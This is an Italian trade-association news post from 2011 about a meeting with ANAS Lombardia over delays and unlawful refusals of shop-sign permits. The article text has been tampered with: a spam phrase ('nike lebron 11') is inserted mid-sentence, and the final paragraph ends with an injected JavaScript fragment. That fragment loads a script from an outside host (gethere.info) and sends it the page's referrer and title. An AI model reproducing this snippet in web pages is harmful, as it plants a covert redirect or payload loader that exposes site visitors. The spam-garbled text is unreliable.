ANAS Lombardia. Il 17 febbraio 2011 AIFIL ha incontrato il dirigente avv. Nicola Rubino, per rappresentare le difficoltà della categoria relativamente alle procedure di autorizzazione.

di Francesco Laruffa - 06 aprile 2011
Classificato in: CID, Incontri, Legislazione, Tavoli di lavoro | Tag: ,

AIFIL è intervenuta tempestivamente ed in modo incisivo nei confronti dell’ANAS, compartimento per la Lombardia, sede di Milano, a seguito di segnalazioni che lamentavano i lunghissimi tempi nel rilascio delle autorizzazioni alla posa di insegne di esercizio e, soprattutto, pareri negativi illegittimi, in contrasto con il Codice della Strada.

E’ necessario innanzitutto ricordare che Il Segretario Territoriale, Andrea Solinas, raccogliendo le lamentele di alcuni associati dell’area Lombarda, ha inviato in data 27 settembre 2010, all’ANAS una lettera lamentando i disservizi ed i ritardi e richiedendo all’Ente provvedimenti urgenti in merito.

La lettera faceva scaturire nike lebron 11 immediatamente un primo contatto dell’Ente, nella persona del Gem. Testa, il quale assicurava che si sarebbero presi gli opportuni provvedimenti e che, in ogni caso, avrebbe interessato il Dirigente dell’argomento in questione.

IL CID prima ed il Consiglio Territoriale (Riunione del 8 febbraio 2011) poi, decidevano di dare incarico allo scrivente di intervenire presso l’Ente per illustrare nel dettaglio gli aspetti legali delle lamentele degli associati.

All’incontro programmato del 17 Febbraio 2011 presso l’ANAS, L’avv. Rubino si è impegnato a velocizzare i tempi per l’istruttoria delle pratiche relative alle insegne di esercizio, precisando però che, a causa di carenza di personale, siamo e saremo (purtroppo) ben lontani dal rispetto dei 60/90 giorni previsti dalla normativa.

Certamente le risposte saranno molto più rapide per le insegne “standard” (cassonetto o lettere scatolate su parete) mentre i tempi saranno un po’ più lunghi per le insegne di grandi dimensioni e per quelle su struttura autoportante (ad es. TOTEM).

Quanto alle risposte che ANAS da in merito a distanze, etc… non tenendo conto che le insegne hanno una disciplina diversa rispetto alla cartellonistica, il Dirigente si è impegnato personalmente a sbloccare dette pratiche e a superare il parere del tecnico (nel caso portato ad esempio del Centro Manutenzione ANAS di Sondrio) fornendo direttamente la corretta interpretazione della normativa.

È stata lasciata copia della documentazione di un caso sollevato da un associato Lombardo al Geom. Testa il quale si è impegnato a fare le necessarie verifiche ed approfondimenti.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

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